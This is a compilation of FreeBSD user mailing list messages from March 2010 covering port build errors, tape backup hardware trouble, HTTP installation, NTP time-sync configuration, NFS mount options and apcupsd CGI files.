docbookx.dtd 100% of 5705 B 36 kBps
# wget http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd
--2010-03-13 17:06:02--
http://www.oasis-open.org/docbook/xml/4.2/docbookx.dtd
Resolving www.oasis-open.org... 66.151.234.59
Connecting to www.oasis-open.org|66.151.234.59|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5705 (5.6K) [text/plain]
Saving to: `docbookx.dtd'
100%[===================================================================================================================>]
5,705 --.-K/s in 0.1s
2010-03-13 17:06:02 (38.8 KB/s) - `docbookx.dtd' saved [5705/5705]
What do I have to do to continue port installation?
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On Saturday 13 March 2010 14:08:46 Ðнтон КлеÑÑ wrote:
> Good day!
>
> I'm running FreeBSD 8.0-STABLE-201002 amd64.
>
> Trying to install KDE4 from port, compiling the sources, I get xmlto-0.0.23
> building fault:
>
> What do I have to do to continue port installation?
It took me a while to figure out. I guess you've deselected some DocBook
formats that you may think you'd never want to use, in textproc/docbook - go
back and reinstate (reconfigure) the default selections, because otherwise
things break. Don't just reinstate the 4.2 format because things depend on the
XML formats too :)
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I saw that more than year ago on my teacher's server, when I was deal with
my first FreeBSD, so it's just a kind of habit.
But on the other hand, if it exists, it could work properly, and I am
interested in just to understand, how it should be set up.
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Hmmm.
/usr/ports/textproc/docbook was not installed. I install it by hands (make
install clean) withdefault options, then bask to my KDE building - it
continued without fault.
So, thank you a lot, and so on - we have the deal with incorrect port? It
was nothing broken by myself.
2010/3/13 Bruce Cran <bruce@cran.org.uk>
> On Saturday 13 March 2010 14:08:46 =E1=CE=D4=CF=CE =EB=CC=C5=D3=D3 wrote:
> > Good day!
> >
> > I'm running FreeBSD 8.0-STABLE-201002 amd64.
> >
> > Trying to install KDE4 from port, compiling the sources, I get
> xmlto-0.0.23
> > building fault:
> >
> > What do I have to do to continue port installation?
>
> It took me a while to figure out. I guess you've deselected some DocBook
> formats that you may think you'd never want to use, in textproc/docbook -
> go
> back and reinstate (reconfigure) the default selections, because otherwis=
e
> things break. Don't just reinstate the 4.2 format because things depend o=
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Subject: Still unable to update kdelibs3
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I have tried everything in the "UPDATING" file; however, I am still
unable to get 'kdelibs3' updated. It always ends with this error
message:
Making all in dnssd
gmake[2]: Entering directory `/usr/ports/x11/kdelibs3/work/kdelibs-3.5.10/dnssd'
../kdecore/kconfig_compiler/kconfig_compiler ./kcm_kdnssd.kcfg ./settings.kcfgc; ret=$?; \
if test "$ret" != 0; then rm -f settings.h ; exit $ret ; fi
/libexec/ld-elf.so.1: Shared object "libjpeg.so.10" not found, required by "libkdefx.so.6"
gmake[2]: *** [settings.h] Error 1
gmake[2]: Leaving directory `/usr/ports/x11/kdelibs3/work/kdelibs-3.5.10/dnssd'
gmake[1]: *** [all-recursive] Error 1
gmake[1]: Leaving directory `/usr/ports/x11/kdelibs3/work/kdelibs-3.5.10'
gmake: *** [all] Error 2
*** Error code 1
Other than deleting everything and starting over, I have no idea how to
proceed.
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On 12.03.2010 15:20, Svein Skogen wrote:
> I'm having trouble getting Amanda (2.6.1p2 from ports) to play nicely
> with my hardware.
>
> Devices are:
> <HP Ultrium 3-SCSI Q25W> at scbus0 target 1 lun 0 (sa0,pass0)
> <HP 1x8 G2 AUTOLDR 2.80> at scbus0 target 1 lun 1 (pass1,ch0)
> connected via:
> mpt0: <LSILogic SAS/SATA Adapter> port 0x9000-0x90ff mem
> 0xfe4fc000-0xfe4fffff,0xfe4e0000-0xfe4effff irq 16 at device 0.0 on pci2
> mpt0: [ITHREAD]
> mpt0: MPI Version=1.5.20.0
>
> os and number in question is:
> FreeBSD storage.stillbilde.net 8.0-STABLE FreeBSD 8.0-STABLE #0: Tue Mar
> 9 07:01:59 UTC 2010
> svein@storage.stillbilde.net:/usr/obj/usr/src/sys/GENERIC amd64
>
> Tapes are regular LTO-3 (HP C7973A).
>
> amtapetype simply hangs (after writing 3-4 tps for 5 seconds, then
> simple silence both on sa0 and console)
>
> Has anybody run into this problem with FreeBSD8+mpt+autoloader?
>
> //Svein
>
I'm finally starting to make sense of what I'm seeing (hence the
crossposting)
Seems I've stumbled onto some strange incompatibility between my SAS
controller (LSI 3801E), Tape-library, and FreeBSD+Solaris.
The behavior I'm seeing is consistent with this solaris bug:
http://bugs.opensolaris.org/bugdatabase/view_bug.do?bug_id=6894775
but luckily (?) for me, my disks are on an MFI controller. I'm seeing
the exact same behavior in both FreeBSD and OpenSolaris 133 and 134.
Linux and Windows installs on the box (this box is currently being set
up, so I'm rather liberated from reinstall-concerns) seems unaffected,
atleast the HP Software doesn't fail the way
tar/dump/dd/amanda/bacula/whatnot does at random intervals.
The errors only occur when the device I'm reading/writing from is 100%
laoded (reading or writing 56mb/sec + compression), which when fed from
a raid capable of more than 6 times that is quite likely to happen
during backups.
The Solaris bug seems to be around MSI handling, but there are several
reports "over there" about this error occuring even with MSI disabled.
Right now I'm dumbstruck about this, and might install Linux "just to
get backups up and running this year", because I'm too tired of this
entire process, but I'd REALLY rather run FreeBSD or OpenSolaris. This
is based on a personal preference and nothing else, but if anybody has
some blinding insights on how to get this working, I'm open for suggestions.
//Svein
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On 13/03/2010 14:22:58, Eitan Adler wrote:
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>> You can just access ftp.freebsd.org by HTTP
>
> but sysinstall doesn't give me that option - or at least I can't find it
For the initial install? Yes -- you're right: there's no obvious
'install via HTTP' option. Trying to install via HTTP proxy and saying
ftp.freebsd.org:80 when prompted seems like it should work to me, but I
haven't verified that.
Otherwise, your options are to download the disk1 or DVD .iso images,
and install from those -- they have everything you need to install the
base system -- or else to download the install sets out-of-band to a
local filesystem and install that way.
One handy hint when installing is *don't feel you have to do everything
from within sysinstall*. Your priority should be to get the OS up and
running: everything else you can do from within the OS, which is a far
more flexible and powerful platform than sysinstall. That power comes
at the cost of maybe not being particularly obvious exactly how to do
what you want, but that is why the Handbook exists.
If you're trying to install packages via HTTP rather than FTP, then try
setting PACKAGEROOT in your environment. Like this:
PACKAGEROOT=http://ftp.freebsd.org ; export PACKAGEROOT (Borne-shell)
or
setenv PACKAGEROOT http://ftp.freebsd.org (Csh-alikes)
then use 'pkg_add -r pkgname' in the usual way. See login.conf(5) and
cap_mkdb(1) for one way of setting such variables in the environment
automatically when you login.
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> For the initial install? Yes -- you're right: there's no obvious
> 'install via HTTP' option. =A0 Trying to install via HTTP proxy and sayin=
g
> ftp.freebsd.org:80 when prompted seems like it should work to me, but I
> haven't verified that.
Next time I install I'll try this - I was just wondering if this was an opt=
ion
> One handy hint when installing is *don't feel you have to do everything
> from within sysinstall*. =A0Your priority should be to get the OS up and
> running: everything else you can do from within the OS, which is a far
> more flexible and powerful platform than sysinstall.
Exactly the same as my own sentiments
> If you're trying to install packages via HTTP rather than FTP, then try
> setting PACKAGEROOT in your environment. =A0Like this:
I don't use binary packages - only ports.
Thanks
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On 13/03/2010 14:47:31, Ðнтон КлеÑÑ wrote:
> I saw that more than year ago on my teacher's server, when I was deal with
> my first FreeBSD, so it's just a kind of habit.
It's a bad habit you should try and cure yourself of. Stepping the
clock with ntpdate(8) can cause nasty effects like time apparently going
backwards -- and that will seriously upset a lot of software.
Also, it doesn't account for the natural clock drift of your system, so
it's going to give you pretty terrible accuracy -- probably good to no
more than a few seconds. ntpdate(8) is really only intended to get the
clock into the right ballpark at system boot so that ntpd(8) has a
fighting chance of getting into synch. The NTP project has deprecated
ntpdate(8) for some time now, and instead prefers adding an option to
ntpd(8) to say "set the clock on initial startup no matter how far out
it is."
> But on the other hand, if it exists, it could work properly, and I am
> interested in just to understand, how it should be set up.
I'm assuming you're on some sort of always-on network, like ADSL? Most
people are nowadays. In which case, there's really no reason not to run
ntpd(8) the way it is intended to be used.
Just add the following to /etc/rc.conf:
ntpd_enable="YES"
ntpd_sync_on_start="YES"
and run:
/etc/rc.d/ntpd start
Wait for about 15-30 minutes, then type 'ntpq -p', and you should see a
report showing 3 servers, one of which should be marked with a '*'
indicating you're synched correctly. That's all you need to do. You can
edit /etc/ntp.conf if you prefer to use different servers to the
automatically selected ones, or if you want to tweak any other NTP options.
Note the 'offset' field in the report. That measures how far out your
clock is from the time sources in /milliseconds/. Sub 10ms accuracy is
fairly easy to achieve: which is much better than you can do via
ntpdate. Also, the NTP algorithms adapt your clock over time to run
more accurately and consequently can gradually decrease the frequency
with which the upstream time sources are polled. Give it a day or so,
and it should max out at polling each source only once every 1024
seconds.
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On Sat, Mar 13, 2010 at 10:57 AM, Svein Skogen (Listmail Account) <
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> On 12.03.2010 15:20, Svein Skogen wrote:
> > I'm having trouble getting Amanda (2.6.1p2 from ports) to play nicely
> > with my hardware.
> >
> > Devices are:
> > <HP Ultrium 3-SCSI Q25W> at scbus0 target 1 lun 0 (sa0,pass0)
> > <HP 1x8 G2 AUTOLDR 2.80> at scbus0 target 1 lun 1 (pass1,ch0)
> > connected via:
> > mpt0: <LSILogic SAS/SATA Adapter> port 0x9000-0x90ff mem
> > 0xfe4fc000-0xfe4fffff,0xfe4e0000-0xfe4effff irq 16 at device 0.0 on pci2
> > mpt0: [ITHREAD]
> > mpt0: MPI Version=1.5.20.0
> >
> > os and number in question is:
> > FreeBSD storage.stillbilde.net 8.0-STABLE FreeBSD 8.0-STABLE #0: Tue Mar
> > 9 07:01:59 UTC 2010
> > svein@storage.stillbilde.net:/usr/obj/usr/src/sys/GENERIC amd64
> >
> > Tapes are regular LTO-3 (HP C7973A).
> >
> > amtapetype simply hangs (after writing 3-4 tps for 5 seconds, then
> > simple silence both on sa0 and console)
> >
> > Has anybody run into this problem with FreeBSD8+mpt+autoloader?
> >
> > //Svein
> >
>
> I'm finally starting to make sense of what I'm seeing (hence the
> crossposting)
>
> Seems I've stumbled onto some strange incompatibility between my SAS
> controller (LSI 3801E), Tape-library, and FreeBSD+Solaris.
>
> The behavior I'm seeing is consistent with this solaris bug:
>
> http://bugs.opensolaris.org/bugdatabase/view_bug.do?bug_id=6894775
>
> but luckily (?) for me, my disks are on an MFI controller. I'm seeing
> the exact same behavior in both FreeBSD and OpenSolaris 133 and 134.
>
> Linux and Windows installs on the box (this box is currently being set
> up, so I'm rather liberated from reinstall-concerns) seems unaffected,
> atleast the HP Software doesn't fail the way
> tar/dump/dd/amanda/bacula/whatnot does at random intervals.
>
> The errors only occur when the device I'm reading/writing from is 100%
> laoded (reading or writing 56mb/sec + compression), which when fed from
> a raid capable of more than 6 times that is quite likely to happen
> during backups.
>
> The Solaris bug seems to be around MSI handling, but there are several
> reports "over there" about this error occuring even with MSI disabled.
>
> Right now I'm dumbstruck about this, and might install Linux "just to
> get backups up and running this year", because I'm too tired of this
> entire process, but I'd REALLY rather run FreeBSD or OpenSolaris. This
> is based on a personal preference and nothing else, but if anybody has
> some blinding insights on how to get this working, I'm open for
> suggestions.
>
> if there is a hardware/driver bug isnt possible to get another cheap sas
controller for your tape, maybe a second hand?
--
mmm, interesante.....
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for the tips. I've used them to cease using ntpdate as well and am
already synced with a time server I know to be constantly reliable.
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Matthew Seaman <m.seaman@infracaninophile.co.uk> wrote:
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> On 13/03/2010 14:47:31, =D0=90=D0=BD=D1=82=D0=BE=D0=BD =D0=9A=D0=BB=D0=B5=
=D1=81=D1=81 wrote:
> > I saw that more than year ago on my teacher's server, when I was
> > deal with my first FreeBSD, so it's just a kind of habit.
>=20
> It's a bad habit you should try and cure yourself of. Stepping the
> clock with ntpdate(8) can cause nasty effects like time apparently
> going backwards -- and that will seriously upset a lot of software.
>=20
> Also, it doesn't account for the natural clock drift of your system,
> so it's going to give you pretty terrible accuracy -- probably good
> to no more than a few seconds. ntpdate(8) is really only intended to
> get the clock into the right ballpark at system boot so that ntpd(8)
> has a fighting chance of getting into synch. The NTP project has
> deprecated ntpdate(8) for some time now, and instead prefers adding
> an option to ntpd(8) to say "set the clock on initial startup no
> matter how far out it is."
>=20
> > But on the other hand, if it exists, it could work properly, and I
> > am interested in just to understand, how it should be set up.
>=20
> I'm assuming you're on some sort of always-on network, like ADSL?
> Most people are nowadays. In which case, there's really no reason
> not to run ntpd(8) the way it is intended to be used.
>=20
> Just add the following to /etc/rc.conf:
>=20
> ntpd_enable=3D"YES"
> ntpd_sync_on_start=3D"YES"
>=20
ntpd_sync_on_start=3D"YES"
is not a complete substitute for running ntpdate at startup. It allows
ntpd to make a large correction, but it doesn't block the boot sequence
so you could still get a large step-change later-on when your daemons
are starting-up.=20
ntpd has an option to emulate ntpdate, but it holds-up the
boot-sequence much longer - presumably this is why ntpdate has been
deprecated for a long time but hasn't yet gone away.=20
you can run ntpdate at boot with
ntpdate_enable=3DYES
the rc script gets the servers from ntp.conf
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On 03/13/10 13:08, RW wrote:
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> ntpd_sync_on_start=3D"YES"
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> you can run ntpdate at boot with
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> ntpdate_enable=3DYES
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> the rc script gets the servers from ntp.conf
Can you have both in rc.conf without abusing the ntp server(s) or should
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On Sat, Mar 13, 2010 at 01:19:54PM -0600, Programmer In Training wrote:
> On 03/13/10 13:08, RW wrote:
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> > ntpd_sync_on_start="YES"
> <snip>
> > you can run ntpdate at boot with
> >
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> >
> > the rc script gets the servers from ntp.conf
>
> Can you have both in rc.conf without abusing the ntp server(s) or should
> it just be one or the other? I'd like my clock to be as accurate as
> possible when I start up the system.
Yes. I have both enabled on my multi-boot laptop to account to huge
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On 13/03/2010 19:08:38, RW wrote:
> ntpd_sync_on_start="YES"
>
> is not a complete substitute for running ntpdate at startup. It allows
> ntpd to make a large correction, but it doesn't block the boot sequence
> so you could still get a large step-change later-on when your daemons
> are starting-up.
Been there, done that and spent many hours cursing dovecot, which just
dies on its arse if the clock does anything it doesn't approve of -- the
biggest flaw in an otherwise excellent program IMHO.
> ntpd has an option to emulate ntpdate, but it holds-up the
> boot-sequence much longer - presumably this is why ntpdate has been
> deprecated for a long time but hasn't yet gone away.
There's a trick that can be used to get round this, which is to use the
iburst option within ntp.conf. Some NTP servers don't like having it
used against them, and will refuse to serve you, but you only need it on
one or two of the server lines in your config file. Eg:
server time.example.com iburst maxpoll 10
restrict time.example.com nomodify nopeer noquery notrap
(The restrict line is an example of good practice, but strictly
irrelevant to this argument.)
iburst speeds up the initial synchronisation by sending a sequence of 8
query packets at 2 second intervals, rather than the standard 64s
between packets you get otherwise. With this in place I've never had a
problem with the clock being stepped after the rest of the system is up
and causing mayhem for other programs, nor have I needed to run
ntpdate(8) -- it even seems to work for virtual machines that can end up
missing many hours when the lappy goes to sleep.
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Forgot to add,
I also need to do some NFS mounts from my VM host which is hosted on
CentOS. I know that this isn't a Linux based list, but if you could
kindly keep the information about wsize and rsize numbers general enough
so that I can apply this knowledge to my Linux box, that would be great :)
A lot of online resources I've come across suggest using various
numbers, but I don't really understand how these number are derived or
if they are even necessary at all...
Joe Auty wrote:
> Hello,
>
> I'm presenting NFS shares to some FreeBSD VM guests with the following
> mount options (from my /etc/fstab):
>
> nfsserverip:mymount /mountdir nfs
> rw,tcp,intr,noatime,nfsv3,-w=32768,-r=32768 0 0
>
>
> This seems to work well, except I have to manually load MySQL, Apache,
> and Postfix at boot time, as my /usr/local directory is hosted on my
> NFS share on this test server (these start up normally when /usr/local
> resides on a local hard drive). Is it generally a bad idea to host a
> share like this on NFS? I'm thinking that it probably is and am happy
> to serve this locally if this would be better. However, if this is not
> a red flag and there is a way to get these services to start up on
> their own at boot, could you please let me know?
>
> How about the wsize and rsize numbers? I was unable to find any
> resources for determining what these numbers best be set as for
> FreeBSD as a VM guest. Any pointers?
>
>
>
>
> Thanks in advance for your help!
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Hello,
I'm presenting NFS shares to some FreeBSD VM guests with the following
mount options (from my /etc/fstab):
nfsserverip:mymount /mountdir nfs
rw,tcp,intr,noatime,nfsv3,-w=32768,-r=32768 0 0
This seems to work well, except I have to manually load MySQL, Apache,
and Postfix at boot time, as my /usr/local directory is hosted on my NFS
share on this test server (these start up normally when /usr/local
resides on a local hard drive). Is it generally a bad idea to host a
share like this on NFS? I'm thinking that it probably is and am happy to
serve this locally if this would be better. However, if this is not a
red flag and there is a way to get these services to start up on their
own at boot, could you please let me know?
How about the wsize and rsize numbers? I was unable to find any
resources for determining what these numbers best be set as for FreeBSD
as a VM guest. Any pointers?
Thanks in advance for your help!
--
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I was interested to see that my Panasonic television displays a FreeBSD
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On Thu, Mar 11, 2010 at 07:05:00AM -0800, Dnielisz Lszl wrote:
>
> Great, you done that before!
>
> It helps but I still don't know where can I found the *.cgi files so
> I can copy them to the proper apache directory, do you know?
>
$ pkg_info -L apcupsd-3.14.5_1 | grep cgi
/usr/local/etc/apcupsd/cgi/multimon.cgi
/usr/local/etc/apcupsd/cgi/upsfstats.cgi
/usr/local/etc/apcupsd/cgi/upsimage.cgi
/usr/local/etc/apcupsd/cgi/upsstats.cgi
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